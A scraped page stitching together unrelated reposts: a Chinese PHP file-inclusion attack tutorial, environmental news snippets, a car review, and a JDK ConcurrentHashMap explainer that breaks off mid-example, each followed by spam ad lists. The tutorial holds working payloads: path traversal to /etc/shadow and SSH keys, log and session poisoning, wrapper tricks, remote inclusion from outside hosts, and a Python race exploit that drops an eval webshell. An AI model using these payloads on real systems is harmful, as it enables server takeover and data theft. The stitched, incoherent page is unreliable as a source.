標籤: 租車

  • PHP文件包含 整理

    PHP文件包含 整理

    文件包含

    目錄

    • 文件包含
      • 1. 概述
        • 1.1 常見的引發漏洞的函數:
        • 1.2 利用條件
        • 1.3 分類和利用思路
      • 2. 利用方法
        • 2.1 配合文件解析漏洞來包含
        • 2.2 讀取系統敏感文件(路徑遍歷)
        • 2.3 包含http日誌文件
        • 2.4 包含SSH日誌
        • 2.5 使用PHP偽協議
        • 2.6 配合phpinfo頁面包含臨時文件
        • 2.7 包含Session
        • 2.9 包含環境變量
      • 3. 繞過技巧
        • 3.1 限制路徑路徑
        • 3.2 限制後綴
        • 3.3 allow_url_include = off
        • 3.4 Base64 處理的session文件
        • 3.5 自己構造Session
        • 3.6 CVE-2018-14884

    參考資料:
    文件包含漏洞簡介
    利用phpinfo條件競爭
    PHP文件包含漏洞利用思路與Bypass總結手冊

    1. 概述

    什麼是文件包含:文件包含函數所加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他文件或惡意代碼,導致信息泄露或代碼注入。

    要求:包含的文件路徑攻擊者可控,被包含的文件web服務器可訪問。

    1.1 常見的引發漏洞的函數:

    1. include()執行到include時才包含文件,文件不存在時提出警告,但是繼續執行
    2. require()只要程序運行就會包含文件,文件不存在產生致命錯誤,並停止腳本
    3. include_once()require_once()只執行一次,如果一個文件已經被包含,則這兩個函數不會再去包含(即使文件中間被修改過)。

    當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),其中的文本內容都會直接作為php代碼進行解析。

    1.2 利用條件

    • 包含函數通過動態變量的方式引入需要包含的參數。

    • PHP中只要文件內容符合PHP語法規範,不管是什麼後綴,都會被解析。

    1.3 分類和利用思路

    文件包含通常按照包含文件的位置分為兩類:本地文件包含(LFI)和遠程文件包含(RFI),顧名思義,本地文件包含就是指包含本地服務器上存儲的一些文件;遠程文件包含則是指被包含的文件不存儲在本地。

    本地文件包含

    1. 包含本地文件、執行代碼
    2. 配合文件上傳,執行惡意腳本
    3. 讀取本地文件
    4. 通過包含日誌的方式GetShell
    5. 通過包含/proc/self/envion文件GetShell
    6. 通過偽協議執行惡意腳本
    7. 通過phpinfo頁面包含臨時文件

    遠程文件包含

    1. 直接執行遠程腳本(在本地執行)

    遠程文件包含需要在php.ini中進行配置,才可開啟:

    allow_url_fopen = On:本選項激活了 URL 風格的 fopen 封裝協議,使得可以訪問 URL 對象文件。默認的封裝協議提供用 ftp 和 http 協議來訪問遠程文件,一些擴展庫例如 zlib 可能會註冊更多的封裝協議。(出於安全性考慮,此選項只能在 php.ini 中設置。)

    allow_url_include = On:此選項允許將具有URL形式的fopen包裝器與以下功能一起使用:include,include_once,require,require_once。(該功能要求allow_url_fopen開啟)

    2. 利用方法

    2.1 配合文件解析漏洞來包含

    http://target.com/?page=../../upload/123.jpg/.php

    2.2 讀取系統敏感文件(路徑遍歷)

    include.php?file=../../../../../../../etc/passwd

    Windows:

    ​ C:\boot.ini //查看系統版本
    ​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
    ​ C:\Windows\repair\sam //存儲系統初次安裝的密碼
    ​ C:\Program Files\mysql\my.ini //Mysql配置
    ​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
    ​ C:\Windows\php.ini //php配置信息
    ​ C:\Windows\my.ini //Mysql配置信息

    Linux:

    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(文件標識符)
    /proc/mounts
    /porc/config.gz

    2.3 包含http日誌文件

    通過包含日誌文件,來執行夾雜在URL請求或者User-Agent頭中的惡意腳本

    1. 通過讀取配置文件確定日誌文件地址

      默認地址通常為:/var/log/httpd/access_log/var/log/apache2/access.log

    2. 請求時直接在URL後面加上腳本即可http://www.target.com/index.php<?php phpinfo();?>,之後去包含這個日誌文件即可。

    3. 注意:日誌文件會記錄最為原始的URL請求,在瀏覽器地址欄中輸入的地址會被URL編碼,通過CURl或者Burp改包繞過編碼。

    apache+Linux 日誌默認路徑
    /etc/httpd/logs/access_log
    /var/log/httpd/access_log
    xmapp日誌默認路徑
    D:/xampp/apache/logs/access.log
    D:/xampp/apache/logs/error.log
    IIS默認日誌文件
    C:/WINDOWS/system32/Logfiles
    %SystemDrive%/inetpub/logs/LogFiles
    nginx
    /usr/local/nginx/logs
    /opt/nginx/logs/access.log

    通過包含環境變量/proc/slef/enversion來執行惡意腳本,修改HTTP請求的User-Agent報頭,但是沒復現成功

    2.4 包含SSH日誌

    和包含HTTP日誌類似,登錄用戶的用戶名會被記錄在日誌中,如果可以讀取到ssh日誌文件,則可以利用惡意用戶名注入php代碼。

    SSH登錄日誌常見存儲位置:/var/log/auth.log/var/log/secure

    2.5 使用PHP偽協議

    PHP內置了很多URL 風格的封裝協議,除了用於文件包含,還可以用於很多文件操作函數。在phpinfo的Registered PHP Streams中可以找到目前環境下可用的協議。

    file:// — 訪問本地文件系統
    http:// — 訪問 HTTP(s) 網址
    ftp:// — 訪問 FTP(s) URLs
    php:// — 訪問各個輸入/輸出流(I/O streams
    zlib:// — 壓縮流
    data:// — 數據(RFC 2397)
    glob:// — 查找匹配的文件路徑模式
    phar:// — PHP 壓縮文件
    ssh2:// — Secure Shell 2
    rar:// — RAR
    ogg:// — 音頻流
    expect:// — 處理交互式的流
    
    1. file://訪問本地文件系統http://target.com/?page=file://D:/www/page.txt,正反斜線都行(windows),對於共享文件服務器可以使用\\smbserver\share\path\to\winfile.ext

    2. php://input訪問輸入輸出流:?page=php://input,在POST內容中輸入想要執行的腳本。

    3. php://filter:是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。

      全部可用過濾器列表:https://www.php.net/manual/zh/filters.php

      通常利用該偽協議來讀取php源碼,通過設定編碼方式(以base64編碼為例),可以防止讀取的內容被當做php代碼解析,利用方式(就是read寫不寫的區別):

      index.php?file=php://filter/read=convert.base64-encode/resource=index.php
      index.php?file=php://filter/convert.base64-encode/resource=index.php
      
    4. data://數據流封裝:?page=data://text/plain,腳本

    1. zip://壓縮流:創建惡意代碼文件,添加到壓縮文件夾,上傳,無視後綴。通過?page=zip://絕對路徑%23文件名訪問,5.2.9之前是只能絕對路徑。

    備註:

    1. 文件需要絕對路徑才能訪問

    2. 需要通過#(也就是URL中的%23)來指定代碼文件

    3. compress.bzip2://compress.zlib://壓縮流,與zip類似,但是支持相對路徑無視後綴

      bzipgzip是對單個文件進行壓縮(不要糾結要不要指定壓縮包內的文件)

      ?file=compress.bzip2://路徑
      ?file=compress.zlib://路徑
      
    4. phar://支持zip、phar格式的壓縮(歸檔)文件,無視後綴(也就是說jpg後綴照樣給你解開來),?file=phar://壓縮包路徑/壓縮包內文件名,絕對路徑和相對路徑都行。

      利用方法:

      index.php?file=phar://test.zip/test.txt
      index.php?file=phar://test.xxx/test.txt
      

      製作phar文件(php5.3之後):

      1. 設置php.iniphar.readonly=off
      2. 製作生成腳本
      <?php 
      @unlink("phar.phar");
      $phar = new Phar("phar.phar");
      $phar->startBuffering();
      $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
      $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要壓縮的文件及內容
      $phar->stopBuffering(); //簽名自動計算
      ?>
      // 這個腳本需要使用php.exe 來生成
      
      1. 生成腳本2

        <?php
        $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
        $p->addFromString('test.txt', '<?php phpinfo();?>');
        ?>
        //這個腳本可以通過訪問來觸發,在本地生成一個test.123,但是不能生成後綴為phar的文件(其他的都行,甚至是php)
        

    2.6 配合phpinfo頁面包含臨時文件

    向phpinfo頁面上傳文件的時候,phpinfo會返回臨時文件的保存路徑

    臨時文件存活時間很短,當連接結束后,臨時文件就會消失。條件競爭

    只要發送足夠多的的數據,讓頁面還未反應過來的時候去包含文件,即可。

    1. 發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據

    2. 因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大

    3. php默認的輸出緩衝區大小為4096,可以理解為php每次返回4096個字節給socket連接

    4. 所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包

    5. 此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除

    6. 利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell

      利用腳本exp

    2.7 包含Session

    1. PHP將用戶Session以文件的形式保存在主機中,通過php.ini文件中的session.save_path字段可以設置具體的存儲位置,通過phpinfo頁面也可以查詢到;文件命名格式為:sess_<PHPSESSID>,其中PHPSESSID為用戶cookie中PHPSESSID對應的值;Session文件一些可能的保存路徑:

      /var/lib/php/sess_PHPSESSID
      /var/lib/php/sessions/sess_PHPSESSID
      /tmp/sess_PHPSESSID
      /tmp/sessions/sess_PHPSESSID
      
    2. Session文件內容有兩種記錄格式:php、php_serialize,通過修改php.ini文件中session.serialize_handler字段來進行設置。

      以php格式記錄時,文件內容中以|來進行分割:

      以php_serialize格式記錄時,將會話內容以序列化形式存儲:

    3. 如果保存的session文件中字符串可控,那麼就可以構造惡意的字符串觸發文件包含。

      先構造一個含有惡意字符串的session文件:?user=test&cmd=<?php phpinfo();?>,之後包含這個會話的session文件。

    2.9 包含環境變量

    CGI****利用條件:1231、php以cgi方式運行,這樣environ才會保存UA頭。``2、environ文件存儲位置已知,且environ文件可讀。利用姿勢:proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。

    3. 繞過技巧

    3.1 限制路徑路徑

    服務器限制了訪問文件的路徑,例如在變量前面追加'/var/www/html'限制只能包含web目錄下的文件,可以利用路徑穿越進行對抗。

    ../../../../../../../ect/passwd

    對於輸入有過濾的情況,可以嘗試用URL編碼進行轉換,比如%2e%2e%2f,甚至是二次轉換。

    3.2 限制後綴

    對用戶輸入添加後綴,比如:自動添加.jgp後綴、或者期望用戶輸如一個父目錄,服務器自動拼接上子目錄和文件。

    1. 如果是遠程文件包含的話可以利用URL的特性?#

      構造出類似於http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路徑,使得服務器預設的後綴變成URL的參數或者頁面錨點。

    2. 利用壓縮協議:構建一個壓縮包歸檔文件,裡面包含上服務器加的後綴,這樣完整的路徑將指向壓縮包內文件。

      比如壓縮包中文件為test.zip->test->defautl->test.php ,構造url:include.php?file=phar://test.zip/test,服務端拼接后變成include('phar://test.zip/test/defautl/test.php')

    3. 利用超長字符串進行截斷,在php<5.2.8的版本可以設置一個超級長的路徑,超過的部分將被服務器丟棄。

      win最長為256字節、Linux為4096字節,構造include.php?file=./././././(n多個)././test.php

    4. 利用00截斷:php<5.3.4時可用%00對字符串進行截斷,%00被是識別為字符串終止標記。

    3.3 allow_url_include = off

    利用SMB、webdav等使用UNC路徑的文件共享進行繞過。

    1. 利用SMB(只對Win的web服務器有效):構建SMB服務器后,構造URL:?include.php?file=\\172.16.97.128\test.php
    2. 利用WebDAV:構造連接?include.php?file=//172.16.97.128/webdav/test.php

    3.4 Base64 處理的session文件

    為了保護用戶的信息或存儲更多格式的信息,很多時候都會對Session文件進行編碼,以Base64編碼為例,闡述繞過思路。了解服務端使用的編碼模式以及對應的解碼模式;合理安排payload使其滿足解碼條件,只要不干擾php代碼運行就可以。

    1. 根據上邊介紹的偽協議的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可對base64編碼的文件進行解碼,但是直接解碼session文件時會出現亂碼。其原因在於session文檔中包含的並非全部都是base64編碼的內容,session開頭的user|s:24:字符串也被當做base64進行解碼,從而導致出現亂碼的情況,因此如果能忽略前面的字符,就可以完美解碼了。

    2. 有利條件:PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容,直接忽略過去並拼接之後的內容。也就是說,Session文件中的:|{};"這類字符對Base64解碼沒有影響。

    3. Base64解碼過程簡單來說就是:將字符串按照每4個字符分為一組,解碼為二進制數據流再拼接到一起,因此要保證我們可以將payload正確解出,需要將編碼后的payload其實位置控制在4n+1的位置(第5、9、13…位)。(base64編碼后長度為原數據長度的4/3)

    4. user:|s:24:"有效字符有7個,若要將payload置於第9位,則需要再增加一個字符,簡單有效的辦法就是讓24變成一個三位數——填充無效數據擴充payload長度。

    5. serialize模式同理,session文件中a:1:{s:4:"user";s:24:"共11個干擾字符,因此同樣只需將payload產生的字符串長度增加到三位數即可。

    3.5 自己構造Session

    有的網站可能不提供用戶會話記錄,但是默認的配置可以讓我們自己構造出一個Session文件。相關的選項如下:

    • session.use_strict_mode = 0,允許用戶自定義Session_ID,也就是說可以通過在Cookie中設置PHPSESSID=xxx將session文件名定義為sess_xxx
    • session.upload_progress.enabled = on,PHP可以在每個文件上傳時監視上傳進度。
    • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS",當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在$_SESSION中獲得。 當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是session.upload_progress.prefixsession.upload_progress.name連接在一起的值。

    利用思路:

    1. 上傳一個文件

    2. 上傳時設置一個自定義PHPSESSIDcookie

    3. POST PHP_SESSION_UPLOAD_PROGRESS惡意字段:"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'

      這樣就會在Session目錄下生成一個包含惡意代碼的session文件。

    4. 但是php默認設置中會打開session.upload_progress.cleanup = on,也就是當文件上傳完成後會自動刪除session文件,使用條件競爭繞過,惡意代碼功能設置為生成一個shell.php。

    利用exp:

    import io
    import sys
    import requests
    import threading
    
    sessid = 'test'
    
    def POST(session):
        while True:
            f = io.BytesIO(b'a' * 1024 * 50)
            session.post(
                'http://127.0.0.1/index.php',
                data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>');?>"},
                files={"file":('q.txt', f)},
                cookies={'PHPSESSID':sessid}
            )
    
    def READ(session):
        while True:
            response = session.get(f'http://127.0.0.1/include.php?file=D:\\phpstudy_pro\\Extensions\\tmp\\tmp\\sess_{sessid}')
            # print('[+++]retry')
            # print(response.text)
    
            if 'PHP Version' not in response.text:
                print('[+++]retry')
            else:
                print(response.text)
                sys.exit(0)
    
    with requests.session() as session:
        t1 = threading.Thread(target=POST, args=(session, ))
        t1.daemon = True
        t1.start()
    
        READ(session)
    

    3.6 CVE-2018-14884

    CVE-2018-14884會造成php7出現段錯誤,從而導致垃圾回收機制失效,POST的文件會保留在系統緩存目錄下而不會被清除。

    影響版本:

    PHP Group PHP 7.0.*,<7.0.27
    PHP Group PHP 7.1.*,<7.1.13
    PHP Group PHP 7.2.*,<7.2.1

    windows 臨時文件:C:\windows\php<隨機字符>.tmp

    linux臨時文件:/tmp/php<隨機字符>

    1. 漏洞驗證include.php?file=php://filter/string.strip_tags/resource=index.php返回500錯誤

    2. post惡意字符串

      import requests
      
      files = {
        'file': '<?php phpinfo();'
      }
      url = 'http://127.0.0.1/include.php?file=php://filter/string.strip_tags/resource=index.php'
      r = requests.post(url=url, files=files, allow_redirects=False)
      
    3. 在臨時文件中可以看到惡意代碼成功寫入

    4. 至於包含嘛,爆破或者其他手段探測這個臨時文件吧。

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※回頭車貨運收費標準

  • 海水溫度創高 極端氣候警鈴大作

    摘錄自2020年4月19日經濟日報報導

    根據美國國家環境資訊中心(NCEI),太平洋、大西洋及印度洋的部分海域溫度同創歷史新高,致使研究機構日益擔憂,未來六個月將醞釀適合颶風、野火及強烈雷暴雨等極端氣候發展的環境,使未來半年的極端氣候事件增加。

    科羅拉多州立大學(CSU)研究人員庫拉茲巴赫說,墨西哥灣的海水溫度為華氏76.3度(攝氏24.6度),比長期均溫高出華氏1.7度。若墨灣維持溫暖水溫,將增強從墨灣登陸風暴的威力。

    CSU發布的第一個2020年風暴報告預測,大西洋今年形成八個颶風的機率將高於平均值,而且6月1日起、為期六個月的颶風季期間,至少會有一個颶風將登陸美國。美國將在下月發布颶風預報。

    海洋
    全球變遷
    生態保育
    氣候變遷
    生物多樣性
    國際新聞
    太平洋
    大西洋
    印度洋
    颶風
    森林野火
    極端氣候
    全球暖化

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※回頭車貨運收費標準

  • 日本研究發現大氣污染導致心臟驟停者增加

    摘錄自2020年4月18日共同社報導

    日本川崎醫科大學(岡山縣)等團隊17日在美國醫學雜誌上發表研究結果稱,如果大氣污染物之一、細顆粒物PM2.5在大氣中的濃度上升,因在家中、室外等地心臟驟停被緊急送醫的人就會增加。

    研究團隊分析了2011年至2016年的約6年期間全國47個都道府縣被送醫的10萬人數據與各地點PM2.5濃度之間的關係。團隊成員、川崎醫科大學循環器內科學教授小島淳表示:「在首次全國範圍的研究中,弄清了大氣污染與心臟驟停有關。」

    據該團隊分析,若PM2.5在大氣中的濃度從某一標準上升每立方米10微克(1微克為百萬分之一克),因心臟驟停被送醫的人在全國增加1.6%。

    將日本分為三個大區進行調查後發現,愛知到大阪、高知的中央地區14個府縣上升5.9%。此外若僅限於5至10月溫暖的時期,全國增加2.3%。據稱均不清楚詳細原因。進行調查的6年間全國PM2.5平均濃度為每立方米13.9微克。各地濃度使用了各都道府縣政府所在地的觀測數值。

    空氣污染
    公害污染
    污染治理
    國際新聞
    日本
    心臟病
    PM2.5

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※別再煩惱如何寫文案,掌握八大原則!

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    ※超省錢租車方案

    ※教你寫出一流的銷售文案?

    網頁設計最專業,超強功能平台可客製化

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

  • 武漢肺炎對全球食品業的衝擊 麵粉大缺貨 牛奶、啤酒、茶葉過剩成廚餘

    環境資訊中心綜合外電;姜唯 編譯;林大利 審校

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※推薦台中搬家公司優質服務,可到府估價

  • 人類全都隔離去了!海獅成群上岸逛大街 嚇壞流浪狗

    摘錄自2020年4月20日自由時報報導

    武漢肺炎疫情延燒全球,世界多國正在實施隔離封鎖令,民眾非必要不得外出,這也使得許多野生動物活動範圍因而變廣,在南美洲阿根廷的海岸城市,巨大的海豹跑進市區遊蕩,把流浪狗嚇壞了。

    根據《俄羅斯衛星通信社》報導,阿根廷知名旅遊勝地馬德普拉塔(Mar del Plata)因實施隔離政策,街道沒人,遊客不來,巨大的海獅得以進入市區四處散步,並沿著海岸追逐難得一見的人類,對平時少見的景象感到相當好奇,但也嚇壞不少原本生活在當地的流浪狗。

    生活環境
    國際新聞
    阿根廷
    控制疫情
    隔離
    海豹

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    網頁設計最專業,超強功能平台可客製化

  • 英封城期間 販賣機賣肉和菜、直接向漁夫買 掀新商機

    環境資訊中心綜合外電;姜唯 編譯;林大利 審校

    本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※回頭車貨運收費標準

    ※推薦評價好的iphone維修中心

    ※超省錢租車方案

    台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

    ※推薦台中搬家公司優質服務,可到府估價

  • 加速7.5s+8.1L油耗,用上了1.5T發動機的本田CR-V究竟有多強?

    加速7.5s+8.1L油耗,用上了1.5T發動機的本田CR-V究竟有多強?

    而這次加入1。5T發動機,就讓CR-V在現今的緊湊型SUV中立於不敗地位,燃油經濟性以及動力都可以達到一個相當優秀的地步,外觀上的改變也是能吸引更多的年輕用戶。不過競爭對手中的馬自達CX-4以及CX-5在燃油經濟性以及性能並不輸給CRV-V,以及奇駿在空間上的優點,CR-V要想突破這番困局還是需要視乎具體售價以及具體價格,若是能維持現今2。

    編者總結:

    毫無疑問,2.0L發動機被取代是毫無疑問的,畢竟現今服役的2.0L發動機有着不短的“年頭”。而這次加入1.5T發動機,就讓CR-V在現今的緊湊型SUV中立於不敗地位,燃油經濟性以及動力都可以達到一個相當優秀的地步,外觀上的改變也是能吸引更多的年輕用戶。不過競爭對手中的馬自達CX-4以及CX-5在燃油經濟性以及性能並不輸給CRV-V,以及奇駿在空間上的優點,CR-V要想突破這番困局還是需要視乎具體售價以及具體價格,若是能維持現今2.0L的價格,相信能給對手造成不少的衝擊。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※回頭車貨運收費標準

  • 曹工說JDK源碼(1)–ConcurrentHashMap,擴容前大家同在一個哈希桶,為啥擴容后,你去新數組的高位,我只能去低位?

    曹工說JDK源碼(1)–ConcurrentHashMap,擴容前大家同在一個哈希桶,為啥擴容后,你去新數組的高位,我只能去低位?

    如何計算,一對key/value應該放在哪個哈希桶

    大家都知道,hashmap底層是數組+鏈表(不討論紅黑樹的情況),其中,這個數組,我們一般叫做哈希桶,大家如果去看jdk的源碼,會發現裏面有一些變量,叫做bin,這個bin,就是桶的意思,結合語境,就是哈希桶。

    這裏舉個例子,假設一個hashmap的數組長度為4(0000 0100),那麼該hashmap就有4個哈希桶,分別為bucket[0]、bucket[1]、bucket[2]、bucket[3]。

    現在有兩個node,hashcode分別是1(0000 0001),5(0000 0101). 我們當然知道,這兩個node,都應該放入第一個桶,畢竟1 mod 4,5 mod 4的結果,都是1。

    但是,在代碼里,可不是用取模的方法來計算的,而是使用下面的方式:

    int entryNodeIndex = (tableLength - 1) & hash;
    

    應該說,在tableLength的值,為2的n次冪的時候,兩者是等價的,但是因為位運算的效率更高,因此,代碼一般都使用位運算,替代取模運算。

    下面我們看看具體怎麼計算:

    此處,tableLength即為哈希表的長度,此處為4. 4 – 1為3,3的二進製表示為:

    0000 0011

    那麼,和我們的1(0000 0001)相與:

    0000 0001 -------- 1
    0000 0011 -------- 3(tableLength - 1)
        相與(同為1,則為1;否則為0)
    0000 0001 -------- 1     
    

    結果為1,所以,應該放在第1個哈希桶,即數組下標為1的node。

    接下來,看看5這個hashcode的節點要放在什麼位置,是怎麼計算:

    0000 0101 -------- 5
    0000 0011 -------- 3(tableLength - 1)
        相與(同為1,則為1;否則為0)后結果:
    0000 0001 -------- 1     
    

    擴容時,是怎麼對一個hash桶進行transfer的

    此處,具體的整個transfer的細節,我們本講不會涉及太多,不過,大體的邏輯,我們可以來想一想。

    以前面為例,哈希表一共4個桶,其中bucket[1]裏面,存放了兩個元素,假設是a、b,其hashcode分別是1,5.

    現在,假設我們要擴容,一般來說,擴容的時候,都是新建一個bucket數組,其容量為舊錶的一倍,這裏舊錶為4,那新表就是8.

    那,新表建立起來了,舊錶里的元素,就得搬到新表裡面去,等所有元素都搬到新表了,就會把新表和舊錶的指針交換。如下:

    java.util.concurrent.ConcurrentHashMap#transfer
    
        private transient volatile Node<K,V>[] nextTable;
    
    	transient volatile Node<K,V>[] table;
    
    if (finishing) {
        // 1
        nextTable = null;
        // 2
        table = nextTab;
        // 3
        sizeCtl = (tabLength << 1) - (tabLength >>> 1);
        return;
    }
    
    • 1處,將field:nextTable(也就是新表)設為null,擴容完了,這個field就會設為null

    • 2處,將局部變量nextTab,賦值給table,這個局部變量nextTab里,就是當前已經擴容完畢的新表

    • 3處,修改表的sizeCtl為:假設此處tabLength為4,tabLength << 1 左移1位,就是8;tabLength >>> 1,右移一位,就是2,。8 – 2 = 6,正好就等於 8(新表容量) * 0.75。

      所以,這裏的sizeCtl就是,新表容量 * 負載因子,超過這個容量,基本就會觸發擴容。

    ok,接着說,我們要怎麼從舊錶往新表搬呢? 那以前面的bucket[1]舉例,遍歷這個鏈表,計算各個node,應該放到新表的什麼位置,不就完了嗎?是的,理論上這麼寫就完事了。

    但是,我們會怎麼寫呢?

    用hashcode對新bucket數組的長度取余嗎?

    jdk對效率的追求那麼高,肯定不會這麼寫的,我們看看,它怎麼寫的:

    java.util.concurrent.ConcurrentHashMap#transfer
    
    // 1
    for (Node<K,V> p = entryNode; p != null; p = p.next) {
        // 2
        int ph = p.hash;
        K pk = p.key;
        V pv = p.val;
        
    	// 3
        if ((ph & tabLength) == 0){
            lowEntryNode = new Node<K,V>(ph, pk, pv, lowEntryNode);
        }
        else{
            highEntryNode = new Node<K,V>(ph, pk, pv, highEntryNode);
        }
    }
    
    • 1處,即遍歷舊的哈希表的某個哈希桶,假設就是遍歷前面的bucket[1],裏面有a/b兩個元素,hashcode分別為1,5那個。

    • 2處,獲取該節點的hashcode,此處分別為1,5

    • 3處,如果hashcode 和 舊錶長度相與,結果為0,則,將該節點使用頭插法,插入新表的低位;如果結果不為0,則放入高位。

      ok,什麼是高位,什麼是低位。擴容后,新的bucket數組,長度為8,那麼,前面bucket[1]中的兩個元素,將分別放入bucket[1]和bucket[5].

      ok,這裏的bucket[1]就是低位,bucket[5]為高位。

    首先,大家要知道,hashmap中,容量總是2的n次方,請牢牢記住這句話。

    為什麼要這麼做?你想想,這樣是不是擴容很方便?

    以前,hashcode 為1,5的,都在bucket[1];而現在,擴容為8后,hashcode為1的,還是在newbucket[1],hashcode為5的,則在newbucket[5];這樣的話,是不是有一半的元素,根本不用動?

    這就是我覺得的,最大的好處;另外呢,運算也比較方便,都可以使用位運算代替,效率更高。

    好的,那我們現在問題來了,下面這句的原理是什麼?

        if ((ph & tabLength) == 0){
            lowEntryNode = new Node<K,V>(ph, pk, pv, lowEntryNode);
        } else{
            highEntryNode = new Node<K,V>(ph, pk, pv, highEntryNode);
        }
    

    為啥,hashcode & 舊哈希表的容量, 結果為0的,擴容后,就會在低位,也就是維持位置不變呢?而結果不為0的,擴容后,位置在高位呢?

    背後的位運算原理(大白話)

    代碼里用的如下判斷,滿足這個條件,去低位;否則,去高位。

     if ((ph & tabLength) == 0)
    

    還是用前面的例子,假設當前元素為a,hashcode為1,和哈希桶大小4,去進行運算。

    0000 0001  ---- 1
    0000 0100  ---- 舊哈希表容量4
    &運算(同為1則為1,否則為0)
    結果:
    0000 0000  ---- 結果為0    
    

    ok,這裏算出來,結果為0;什麼情況下,結果會為0呢?

    那我們現在開始倒推,什麼樣的數,和 0000 0100 相與,結果會為0?

    ???? ????  ---- 
    0000 0100  ---- 舊哈希表容量
    &運算(同為1則為1,否則為0)
    結果:
    0000 0000  ---- 結果為0    
    

    因為與運算的規則是,同為1,則為1;否則都為0。那麼,我們這個例子里,舊哈希表容量為 0000 0100,假設表示為2的n次方,此處n為2,我們僅有第三位(第n+1)為1,那如果對方這一位為0,那結果中的這一位,就會為0,那麼,整個數,就為0.

    所以,我們的結論是:假設哈希表容量,為2的n次方,表示為二進制后,第n+1位為1;那麼,只要我們節點的hashcode,在第n+1位上為0,則最終結果是0.

    反之,如果我們節點的hashcode,在第n+1位為1,則最終結果不會是0.

    比如,hashcode為5的時候,會是什麼樣子?

    0000 0101  ---- 5
    0000 0100  ---- 舊哈希表容量
    &運算(同為1則為1,否則為0)
    結果:
    0000 0100  ---- 結果為4    
    

    此時,5這個hashcode,在第n+1位上為1,所以結果不為0。

    至此,我們離答案好像還很遠。ok,不慌,繼續。

    假設現在擴容了,新bucket數組,長度為8.

    a元素,hashcode依然是1,a元素應該放到新bucket數組的哪個bucket里呢?

    我們用前面說的這個算法來計算:

    int entryNodeIndex = (tableLength - 1) & hash;
    
    0000 0001  ---- 1
    0000 0111  ---- 8 - 1 = 7
